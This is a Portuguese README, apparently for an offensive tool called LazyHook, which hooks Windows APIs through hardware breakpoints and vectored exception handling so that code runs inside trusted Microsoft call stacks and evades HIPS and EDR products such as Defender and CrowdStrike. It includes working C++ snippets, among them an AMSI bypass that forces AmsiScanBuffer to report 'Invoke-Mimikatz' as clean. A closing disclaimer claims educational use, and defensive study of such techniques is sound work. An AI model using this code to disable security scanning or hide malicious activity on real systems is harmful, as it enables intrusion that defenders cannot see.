hwbp/lazyhookEvite a análise comportamental executando código malicioso dentro de pilhas de chamadas confiáveis da Microsoft, hooking sem patches na biblioteca IAT/EAT.
LazyHook é um framework de API hooking furtivo que contorna Sistemas de Prevenção contra Intrusão em Host (HIPS) através de spoofing da pilha de chamadas. Ao alavancar breakpoints de hardware em nível de CPU e o Tratamento de Exceções Vetorizado (VEH), ele executa código arbitrário como se fosse originado de módulos confiáveis assinados pela Microsoft — enganando completamente os mecanismos de análise comportamental que dependem da inspeção da pilha de chamadas e da verificação da origem do módulo.
Evasão da análise comportamental executando código malicioso dentro de pilhas de chamadas confiáveis da Microsoft
Usa breakpoints de hardware + VEH para sequestrar funções legítimas e falsificar origens de módulos
Os Sistemas de Prevenção contra Intrusão em Host (HIPS) e os mecanismos de análise comportamental monitoram aplicativos através de:
Sistemas como o Kaspersky System Watcher, Windows Defender, Cylance e CrowdStrike empregam variações destas técnicas.
Ao sequestrar uma função em uma assembly assinada pela Microsoft (ex.: System.Windows.Forms.dll, user32.dll), podemos executar lógica arbitrária dentro de uma pilha de chamadas que parece completamente legítima.
Nota: É possível fazer um JmpHook, que vai hookar o MsgBox -> e logo após chamá-lo para o seu código personalizado. O LazyHook não faz isso
Por que Isso Funciona:
O software de segurança vê o segundo cenário e pensa: "MessageBoxA da user32.dll está chamando APIs do Windows? Esse é um comportamento normal."
┌─────────────────────────────────────────────────────────┐
│ 1. Chamada da Função Alvo │
│ ↓ │
│ 2. Registrador de Depuração da CPU é Acionado (DR0-DR3)│
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP Levantada │
│ ↓ │
│ 4. Manipulador VEH Intercepta a Exceção │
│ ↓ │
│ 5. Execução Redirecionada para a Função Hook │
│ ↓ │
│ 6. CallOriginal() Desativa Temporariamente o Breakpoint│
│ ↓ │
│ 7. Função Original Executa │
│ ↓ │
│ 8. Breakpoint Reativado │
└─────────────────────────────────────────────────────────┘
Intercepta funções importadas localizando seu endereço na IAT e configurando um breakpoint de hardware. Isso hooka a importação específica em seu processo.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
Hooka funções exportadas globalmente de uma DLL resolvendo seu endereço através da tabela de exportação. Isso afeta todas as chamadas para aquela exportação.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
A demonstração incluída exibe três cenários práticos:
Demonstra o hook IAT interceptando chamadas de MessageBoxA e modificando a mensagem exibida:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hookado!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hookado!", ">:)", U);
}
Mostra como monitorar operações de arquivo registrando chamadas de CreateFileA:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hookado: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Demonstra a evasão de software de segurança forçando todas as varreduras de AMSI a retornarem resultados limpos:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hookado! Ignorando...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Força limpo independentemente do conteúdo
return OrgResult;
}
A demonstração testa o bypass de AMSI varrendo "Invoke-Mimikatz" (uma string maliciosa conhecida) e mostra ela sendo classificada como limpa.
Layout do DR7 (Simplificado):
- Bits 0,2,4,6: Flags de habilitação para DR0-DR3 (Habilitação Local)
- Bits 16-31: Condições do breakpoint (Executar, Escrever, E/S, R/W)
O framework configura o DR7 para:
O manipulador VEH:
EXCEPTION_SINGLE_STEPEXCEPTION_CONTINUE_EXECUTION para retomar no hooktemplate<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Desativa temporariamente
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Reativa
return Result;
}
A demonstração mostra hookando AmsiScanBuffer para forçar resultados de varredura limpos:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Força resultado limpo
return Result;
}
Isso demonstra como o comportamento do software de segurança pode ser modificado em tempo de execução ao interceptar chamadas críticas de API.
Hooke CreateFileA para registrar acesso a arquivos sem modificar o comportamento do aplicativo:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("Arquivo acessado: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Este código demonstra técnicas avançadas de evasão para:
⚠️ Aviso: O uso não autorizado para contornar controles de segurança, modificar o comportamento de software ou burlar proteções pode violar leis de crimes de informática (CFAA, GDPR, legislação equivalente). Este framework é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada.
Entender técnicas ofensivas constrói melhores defesas.